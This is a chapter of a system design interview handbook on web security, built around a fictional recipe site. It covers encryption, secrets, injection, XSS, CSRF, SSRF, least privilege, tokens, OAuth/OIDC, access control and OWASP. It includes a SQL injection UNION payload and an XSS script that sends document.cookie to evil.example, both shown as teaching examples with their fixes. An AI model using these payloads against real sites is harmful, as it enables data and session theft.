System Design Handbook · llms.txt
This chapter answers seven questions:
Security is a broad topic. Unless you have considerable experience, a security background, or are applying for a position that requires knowledge of security, you probably won't need to know more than the basics in an interview. The basics fit in four rules:
The first three sections of this chapter cover those four rules. The later sections go further: how logins and service identities work, how access is decided, what protects the edge of a system, and the current OWASP Top 10. Read them when an interviewer asks about authentication or authorization, or when you design a system that handles money or private data.
We'll keep using Crumb, the recipe-sharing site from the Scalability chapter. Crumb has app servers behind a load balancer, login sessions in Redis, a relational database with read replicas, photos in object storage, and workers that resize photos from a queue. Every one of those parts needs protecting.
This chapter builds on TLS termination in Load balancers, TLS on top of TCP in Network protocols and APIs, and Reverse proxies, API gateways and microservices.
Crumb holds data worth stealing: users' email addresses, their password hashes, private recipe drafts, and the session IDs that keep people logged in. That data spends its life in two states:
Encryption scrambles data using a secret value called a key. Only someone who holds the right key can turn the scrambled form, called ciphertext, back into readable data. Data needs encrypting in both states, and each state uses different tools.
TLS (Transport Layer Security) protects data travelling between two endpoints. It gives three guarantees:
HTTPS is HTTP sent inside a TLS connection. Network protocols and APIs shows where TLS sits on top of TCP.
TLS 1.3 (RFC 8446, 2018) is the current version. It improves on TLS 1.2 in two ways.
Where Crumb uses TLS. Browsers connect to Crumb's load balancer over TLS. The load balancer decrypts the traffic so it can route each request, a step called TLS termination. Behind it, the load balancer opens a new TLS connection to an app server. The app servers use TLS again to reach the database and Redis. Leaving internal traffic unencrypted only works if nobody ever gets onto the private network. The zero trust model, covered later, tells you not to count on that.
Encrypting data with a key stored on the same disk, or in the app's config file, protects very little. Whoever steals the data probably gets the key too. Production systems use envelope encryption, which separates two kinds of key:
Here is how Crumb writes an encrypted backup:
GenerateDataKey.Here is how it reads the backup back:
Decrypt call. The KMS checks that the caller is allowed to use the key, unwraps the DEK with the KEK, and returns the plaintext DEK.The design has three benefits:
ReEncrypt call for this). The data itself stays as it is.Crumb rarely writes this code itself. Many cloud services can encrypt stored data with a KMS key on your behalf; AWS calls these services "integrated with AWS KMS". Crumb turns that setting on for its database, its backups and its photo storage.
A secret is any value that grants access: a database password, an API key for the payment provider, or a TLS private key. Secrets committed to source code or baked into container images are a common cause of breaches, because they end up in git history, CI logs and image registries. Keep them in a secrets manager instead, such as HashiCorp Vault, AWS Secrets Manager or Google Secret Manager. Kubernetes Secrets are only base64-encoded unless you turn on encryption at rest for them, ideally with a KMS provider.
A secrets manager adds three things:
Untrusted input is any data that comes from outside your own servers. For Crumb, that means form fields, URL parameters, headers, cookies, JSON request bodies, uploaded files, and even pages fetched from other websites. An attacker can control every one of these.
Most web attacks follow the same pattern. Untrusted input reaches a place where it is treated as code, such as a SQL query, a web page or a shell command. The attacker then writes input that is also valid code, and the system runs it.
The standard advice is to sanitize all user input. That includes every input parameter a user can reach, such as a hidden form field or a URL parameter the page never displays. In practice the advice covers three separate habits:
newest, rating or title. Checking against a list of allowed values, called an allowlist, is safer than trying to list every bad value.< and ", into harmless forms such as < and ". The browser then displays them as ordinary text.Validation happens on the server. Checks in the browser make forms friendlier, but an attacker can skip the browser and send any request they like with a tool such as curl.
Validation alone is not enough. The OWASP Top 10 describes server-side input validation as "not a complete defense as many applications require special characters." A Crumb recipe's instructions must accept quotes, angle brackets and apostrophes, because real recipes contain them. So validation narrows what reaches the dangerous places, and the second and third habits make those places safe.
SQL injection happens when untrusted input is pasted into a SQL query, so that the input can change what the query means.
Crumb's recipe list has a cuisine filter, so a URL such as /recipes?cuisine=thai shows Thai recipes. Suppose the code builds the query by joining strings:
const sql = "SELECT id, title FROM recipes WHERE cuisine = '" + cuisine + "'";
An attacker sends this as the cuisine:
thai' UNION SELECT id, email FROM users --
The database now receives this query:
SELECT id, title FROM recipes WHERE cuisine = 'thai' UNION SELECT id, email FROM users --'
The attacker's quote mark closed the string early. UNION adds the results of a second query, and -- turns the leftover quote into a comment. The recipe page now lists every user's email address.
The fix is a parameterized query, also called a prepared statement. The query text contains a placeholder, and the value travels separately:
const result = await db.query(
"SELECT id, title FROM recipes WHERE cuisine = $1",
[cuisine],
);
The database reads the structure of the query first and only then receives the value. It treats the value purely as data to compare against the cuisine column. Whatever the attacker types, the database looks for a cuisine with that exact name, finds none, and returns an empty list.
OWASP's SQL Injection Prevention Cheat Sheet lists prepared statements with parameterized queries as the first defense. An ORM or query builder that uses parameters underneath gives the same protection. Three cases still need care:
rating becomes avg_rating) and never paste their text into the query.Least privilege adds a second line of defense here. If the recipe-list code connects as a database user that may only read the recipes table, the UNION attack above fails with a permission error even if the query was built badly. The least privilege section shows how Crumb sets this up.
Cross-site scripting (XSS) happens when an app puts untrusted data into a web page without escaping it. The attacker's data becomes JavaScript that runs in other users' browsers.
Crumb lets people comment on recipes. Suppose someone posts this comment:
Lovely soup! <script>fetch("https://evil.example/?c=" + document.cookie)</script>
If Crumb inserts the comment into the page as raw HTML, every visitor's browser runs the script. This version is called stored XSS, because the attack is saved in Crumb's database and served to everyone who opens the recipe.
HttpOnly cookies. Scripts can't read these cookies through document.cookie. This limits the damage, though an injected script can still act as the user while the page is open.'unsafe-inline', stops most injected scripts from running.XSS is common. OWASP's 2025 data counts more than 30,000 published vulnerabilities (CVEs) for XSS and more than 14,000 for SQL injection, and it describes XSS as "high frequency/low impact" and SQL injection as "low frequency/high impact" (A05:2025 Injection).
Cross-site request forgery (CSRF) tricks a logged-in user's browser into sending a request to your site from another site. For example, a page on another site could contain a hidden form that posts "delete my account" to Crumb. The browser attaches the user's Crumb cookies automatically, so the request looks genuine.
The mitigations:
SameSite on session cookies. With SameSite=Lax, the browser doesn't send the cookie on cross-site POST requests, or on requests that another site embeds (images, iframes, fetch calls). It still sends the cookie when the user follows a plain link to your site, so GET requests must never change anything. SameSite=Strict withholds the cookie on every cross-site request. That is safer, but users who arrive from a link appear logged out. MDN notes that "some browsers use Lax as the default value if SameSite is not specified," so set the attribute explicitly instead of relying on a default.X-CSRF-Token), and checks it on every request that changes state. Another site can't read the token, so it can't forge the request.Authorization header aren't exposed to CSRF in the first place, because browsers don't attach that header automatically.Server-side request forgery (SSRF) happens when a server fetches a URL that a user supplied, and doesn't restrict where that URL can point.
Crumb has an "import a recipe from a link" feature. A user pastes a URL, and a Crumb server downloads the page and extracts the recipe. An attacker pastes an internal address instead.
http://127.0.0.1:8080/admin, or the cloud metadata service at http://169.254.169.254/, which on a misconfigured instance hands out temporary cloud credentials. This was the core of the 2019 Capital One breach, described in the next section.10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, loopback 127.0.0.0/8, link-local 169.254.0.0/16, and their IPv6 equivalents (::1, fc00::/7, fe80::/10). Connect to the IP address you checked, not to the name. Otherwise a DNS answer that changes between your check and your request, a trick called DNS rebinding, gets around the filter. Apply the same check to every redirect.PUT request that returns a session token, and by default its response travels only one network hop. A simple GET forwarded through a vulnerable app can't reach it.The principle of least privilege says that every user, program and service should have only the permissions it needs to do its job, and nothing more. Jerome Saltzer stated it in 1974: "Every program and every privileged user of the system should operate using the least amount of privilege necessary to complete the job."
The principle matters because something will eventually go wrong. A bug slips through review, a password leaks, or an injection attack succeeds. Least privilege limits the blast radius, meaning how much damage one compromised part can do.
Here is what each part of Crumb is allowed to do:
| Part | Its job | Access it gets | Access it doesn't get |
|---|---|---|---|
| App servers | Serve pages, save recipes and comments | Read and write on the app's tables, through a database user that can't drop tables or create users | Administrator rights on the database |
| Photo workers | Resize uploaded photos | Read the uploads bucket, write the photos bucket | The database, any other bucket, the backups |
| Weekly reporting job | Count signups and popular recipes | A read-only database user on a read replica | Any writes, and the email and password-hash columns |
| Recipe importer | Fetch pages from other sites | The public internet | Crumb's private network and the cloud metadata service |
| Support staff | Help users with their accounts | View an account, reset two-factor login | Export the whole users table |
Two of these deserve a closer look.
The photo worker can write only to the photos bucket. Photo workers open image files that strangers upload. If a malicious file exploits a bug in the image library, the attacker gets whatever the worker's credentials allow. On AWS, the worker's policy might look like this:
{
"Version": "2012-10-17",
"Statement": [
{ "Effect": "Allow", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::crumb-uploads/*" },
{ "Effect": "Allow", "Action": "s3:PutObject", "Resource": "arn:aws:s3:::crumb-photos/*" }
]
}
Anything the policy doesn't allow is denied. So a hijacked worker can read uploads and write photos, and it can't touch the database, the backups or any other bucket.
The reporting job uses a read-only database user. The weekly report only needs to count rows. In PostgreSQL, Crumb creates a user for it and grants only what the report reads:
CREATE ROLE reporting LOGIN PASSWORD '...';
GRANT CONNECT ON DATABASE crumb TO reporting;
GRANT USAGE ON SCHEMA public TO reporting;
GRANT SELECT ON recipes, ratings TO reporting;
GRANT SELECT (id, created_at, country) ON users TO reporting;
If the report's password leaks, the attacker can read recipe and rating data. They can't change or delete anything, and they can't read email addresses or password hashes. Pointing the job at a read replica also keeps a heavy report from slowing down the primary database.
In 2019, a former Amazon employee was arrested and charged with stealing more than 100 million credit applications from Capital One. KrebsOnSecurity's account, based on interviews with security experts including a source with knowledge of the investigation, describes two failures that combined:
A firewall's job doesn't require reading customer files. With least privilege applied, the SSRF bug would have given the attacker credentials that could do very little.
Authentication answers the question who is making this request? A distributed system has two kinds of caller: people using a browser or a mobile app, and services calling other services. The two are usually handled differently.
When someone signs up to Crumb with an email and password, Crumb must never store the password itself. It stores a hash instead. A hash is the output of a one-way function: easy to compute from the password, and impossible to reverse. At login, Crumb hashes the password the user typed and compares the result with the stored hash. OWASP's Password Storage Cheat Sheet explains why this is safer: "Even if an attacker obtains the hashed password, they cannot use it to log in as the victim."
Use an algorithm designed for passwords. General-purpose hashes such as SHA-256 are built to be fast, which helps an attacker who wants to test guesses against a stolen hash. Password hashes are deliberately slow and memory-hungry. The cheat sheet recommends Argon2id with at least 19 MiB of memory, an iteration count of 2 and a parallelism of 1. Its fallbacks are scrypt, and bcrypt with a work factor of 10 or more for older systems.
Each hash also includes a salt, a random value stored next to it. Two users with the same password then get different hashes, so an attacker can't crack them both at once. The cheat sheet notes that most password-hashing libraries "automatically generate and manage salts internally."
After a successful login, the system needs a way to recognize the user on later requests. HTTP doesn't remember anything between requests, so the server gives the client something to send with every request that proves it already logged in. There are two common designs.
| Server-side session | Self-contained token (JWT) | |
|---|---|---|
| What the client holds | A random session ID with no meaning of its own, usually in a cookie. | A signed token that carries the user's ID, expiry time and other facts. |
| What the server stores | The session record (user ID, expiry and so on) in Redis or a database. | Nothing per user. It needs only the key to check signatures. |
| Checking a request | Look the session ID up in the store. | Verify the signature with a public key or shared secret, then check the expiry. |
| Logging someone out | Delete the session record. It takes effect on the next request. | Hard. The token stays valid until it expires, unless servers check a revocation list, which brings back a lookup. |
| Size | Small: a random ID of about 32 characters. | Hundreds of bytes or more, because the facts are encoded JSON. |
| Good fit | First-party web apps, where instant logout and account bans matter. | APIs called by many services or across domains, where a shared session store is awkward. |
Crumb's website uses server-side sessions stored in Redis, as set up in the Scalability chapter. Its mobile app and public API use tokens.
A JWT (JSON Web Token) has three parts separated by dots, each base64url-encoded:
sub (the user's ID), exp (the expiry time) and aud (the audience, meaning the service the token is meant for).The payload is only encoded, so anyone holding the token can decode and read it. Never put secrets in a JWT.
Most production systems combine the two designs:
When the access token expires, the client sends the refresh token to the authorization server, the service that issues tokens. That server checks that the account is still active and that the refresh token hasn't been revoked, then issues a new access token. Many servers also rotate the refresh token, issuing a new one on each use. If an old refresh token is ever used again, the server treats it as a sign of theft.
With this setup, a banned account keeps access for at most one access-token lifetime, which is a few minutes. Ordinary requests never touch the token store.
Most systems don't want every component handling passwords. They hand that job to a dedicated identity provider, such as Google or a company's own login service. Two standards cover this, and they are often confused.
iss (who issued it), sub (a stable user ID), aud (which application it's for), exp, and optionally profile claims such as email. When Crumb offers "Sign in with Google", it is using OIDC. The ID token is meant for the application that requested it, so the application can learn who logged in. APIs take access tokens, and an ID token should never be sent to one.For browser and mobile apps, the recommended flow is the authorization code flow with PKCE (Proof Key for Code Exchange, RFC 7636). It works in four steps:
code_verifier, and computes code_challenge = BASE64URL(SHA-256(code_verifier)).code_challenge.code_verifier with it. The provider hashes the verifier and checks that it matches the challenge from step 2.Someone who intercepts the code in step 3 can't use it, because they don't have the verifier. The current OAuth security best practice, RFC 9700, says public clients such as browser and mobile apps "MUST use PKCE" and recommends it for all other clients. It also says clients "SHOULD NOT use the implicit grant", an older flow that returned tokens directly in the redirect URL.
Inside a private network or a Kubernetes cluster, services also need to know who is calling them. Trusting a request because it comes from an internal IP address is weak. An attacker who takes over one container can then call anything, and internal IP addresses change constantly anyway.
Say Crumb adds a billing service for its paid plan, and only the app servers should be able to call it. In ordinary TLS, only the server proves its identity. With mutual TLS (mTLS), both sides prove their identity during the TLS handshake:
Billing now knows exactly which service is calling, and can apply a rule such as "only the app servers may call billing". Managing certificates by hand for hundreds of services doesn't work, so in practice a service mesh does it. Each service runs next to a small proxy called a sidecar. The sidecar gets a short-lived certificate that encodes the service's identity, often as a SPIFFE ID such as spiffe://cluster.local/ns/shop/sa/checkout. It renews the certificate automatically and handles the handshake. The application itself speaks plain HTTP to its local sidecar. See the service mesh and sidecar proxies.
Once the system knows who the caller is, authorization answers the next question: may this caller do this action on this resource?
Getting this wrong is the most common serious flaw in web applications. OWASP's 2025 Top 10 ranks broken access control first, and reports that "100% of the applications tested were found to have some form of broken access control." A typical example is an edit page at /recipes/812/edit. If Crumb checks only that the user is logged in, any user can edit recipe 812 by typing its number into the address bar. The server must check, on every request, that the logged-in user is allowed to edit that particular recipe. OWASP calls this flaw an insecure direct object reference.
Role-based access control (RBAC) grants permissions to named roles and then gives roles to users. On Crumb, a moderator role might get comments:hide and recipes:feature, and an admin role might also get users:ban.
RBAC is simple to build and easy to audit. "Who can ban users?" is a single lookup. It struggles once rules depend on context:
Encoding each of these as a separate role leads to role explosion: hundreds of roles like moderator_italian_eu_weekdays that nobody can keep track of.
Attribute-based access control (ABAC) decides using policies written over attributes. The attributes usually fall into four groups:
A policy might say: allow users in the Finance department to edit Budget documents whose region matches the user's region, from a managed device. One rule like that replaces dozens of roles. The cost is that "who can access this document?" becomes harder to answer, because the answer depends on attributes at the moment of the request.
In practice the two models mix, and a role becomes one attribute among many. Some rules depend on relationships, such as "users can edit recipe collections that were shared with them". Many systems handle those with relationship-based access control (ReBAC), which checks a graph of who owns what and who shared what with whom. Google's Zanzibar paper describes the best-known example.
Larger systems split the work into two roles. The names come from the XACML standard.
Keeping policy in one engine means rules are written once, tested, and changed without redeploying every service. A PDP usually runs next to the PEP, as a sidecar or a library, so a decision doesn't add a network round trip to every request.
The guiding principle here is defense in depth. You put independent controls at each layer (the edge, the network, the application and the data), so that one control failing doesn't expose everything. If the firewall misses an injection, the parameterized query still stops it. If an attacker steals a database backup, it is encrypted with a key they can't reach.
Before traffic reaches Crumb's app servers, it passes through several layers. Each layer stops a different kind of attack.
The older model of network security was castle and moat: everything outside the firewall is untrusted, and everything inside is trusted. Its weakness is that one compromised laptop or container puts the attacker inside, with access to everything.
Zero trust, described in NIST SP 800-207, assumes the attacker may already be inside:
Zero trust also depends on knowing what happened. Logs of logins, access denials and KMS calls only help if someone is alerted when they look wrong. Monitoring, logging and tracing covers alerting.
OWASP (the Open Worldwide Application Security Project) is a nonprofit foundation "that works to improve the security of software." Its Top 10 is, in its own words, "a standard awareness document for developers and web application security" that "represents a broad consensus about the most critical security risks to web applications." The current edition is the OWASP Top 10:2025, the eighth since the list began.
| Rank | Category | What it means | Where this chapter covers it |
|---|---|---|---|
| A01 | Broken Access Control | Users can act outside their intended permissions. The category includes CSRF, and since 2025 it also includes SSRF. | Authorization, Least privilege, SSRF, CSRF |
| A02 | Security Misconfiguration | A system or cloud service set up insecurely, such as default passwords left unchanged, unneeded features turned on, or cloud permissions set wrongly. | Least privilege |
| A03 | Software Supply Chain Failures | Compromises in dependencies, build systems or distribution. | Not covered here |
| A04 | Cryptographic Failures | Missing or weak encryption that exposes sensitive data. | Encryption, Storing passwords |
| A05 | Injection | Untrusted input is run as code. This includes SQL injection and XSS. | Untrusted input |
| A06 | Insecure Design | Flaws in the design itself, which careful coding can't fix. | This whole chapter |
| A07 | Authentication Failures | Weaknesses in how users prove who they are. | Authentication |
| A08 | Software or Data Integrity Failures | Trusting code, updates or data without checking that they weren't changed. | Not covered here |
| A09 | Security Logging and Alerting Failures | Attacks go unnoticed because nothing is logged or nobody is alerted. | Zero trust |
| A10 | Mishandling of Exceptional Conditions | Poor error handling, logic errors, and systems that "fail open" (allow access when something breaks). | Not covered here |
The 2025 introduction explains what changed since 2021. Security Misconfiguration rose from fifth to second, Software Supply Chain Failures grew out of the older "Vulnerable and Outdated Components" category, and Mishandling of Exceptional Conditions is new. On logging it adds: "Great logging with no alerting is of minimal value in identifying security incidents."
Four rules cover most of what is expected:
If there is time, add authentication (short-lived tokens or server-side sessions), authorization checks on every request, and rate limiting at the API gateway.
No. Stripping quotes is a blocklist, and attackers look for the cases a blocklist misses: other encodings, numeric fields that need no quotes, or a different interpreter. It also breaks legitimate input, such as a recipe called "Grandma's soup".
Crumb should use a parameterized query. The query text has a placeholder such as $1, and the value is sent separately, so the database treats it only as data. If a user picks a column or sort order, Crumb should map their choice through an allowlist. As a second line of defense, the search code should connect as a database user that can only read the tables search needs.
Every user, program and service should have only the permissions it needs to do its job. When one part is compromised, least privilege limits how much damage the attacker can do with it.
The Capital One breach shows the cost of skipping this: a firewall that only needed to filter traffic had permission to list and read every file in the company's storage buckets.
A JWT is checked by its signature and expiry alone, so it can't be revoked. If one is stolen, or you ban the account, it keeps working until it expires. If tokens last 7 days, that's a 7-day exposure. If they last 10 minutes and nothing else is in place, users have to log in every 10 minutes.
The usual fix pairs a short-lived access token (5 to 15 minutes) with a refresh token. The refresh token is stored on the server, kept in an HttpOnly cookie on the web, and often rotated on each use. Normal API calls stay free of lookups. Every few minutes, the refresh gives the authorization server a checkpoint where it can refuse a banned account or a revoked token. The worst case after a ban drops to one access-token lifetime.
OAuth 2.0 is for delegated authorization. It gives an application an access token, limited by scopes, to call an API on the user's behalf. It doesn't define how to learn who the user is. OpenID Connect adds authentication on top: an ID token, which is a signed JWT that tells the application who logged in (sub, iss, aud, exp).
An API should accept access tokens. It should check that the token is meant for it (the audience) and that it carries the scopes the request needs. ID tokens are meant only for the client application that requested them.
The backup holds only ciphertext and wrapped DEKs. The plaintext DEKs were never written to disk. To unwrap a DEK, you have to call the KMS, which holds the master key in its hardware and never releases it. The KMS allows the call only for identities its policy permits, and it logs every request.
So the attacker would also need credentials that let them call Decrypt on that key, for example by compromising the application's own cloud identity. That is still possible, which is why KMS permissions are kept narrow and its audit logs are watched. A stolen backup on its own is useless.
In ordinary TLS, only the server presents a certificate, and the client checks it. The client stays anonymous at this level and proves who it is later with a password, cookie or token. In mTLS, the server also asks for a client certificate. Both sides check the other's certificate against a trusted CA and prove they hold the matching private key. All of this happens in the TLS handshake, after the TCP connection is set up and before any HTTP data is sent. If either check fails, the connection is closed.
Between services, mTLS gives each call a verified caller identity that doesn't depend on IP addresses, and it encrypts internal traffic. Both are central to zero trust. A service mesh usually issues and rotates the certificates, so applications don't handle them.
RBAC is enough when permissions follow job function and don't depend on the specific resource or context, for example "support agents can view orders". Once rules depend on resource ownership, department, region, time or device, expressing them as roles leads to role explosion. ABAC states those rules directly, as policies over attributes of the subject, action, resource and environment.
The PEP/PDP split puts the policies in one engine (the PDP, such as OPA) that every enforcement point asks, whether it is a gateway, a sidecar or a service. Rules are written, tested and changed in one place instead of being copied into each service, and decisions stay consistent across the system.
Previous: Network protocols and APIs · Next: Consistent hashing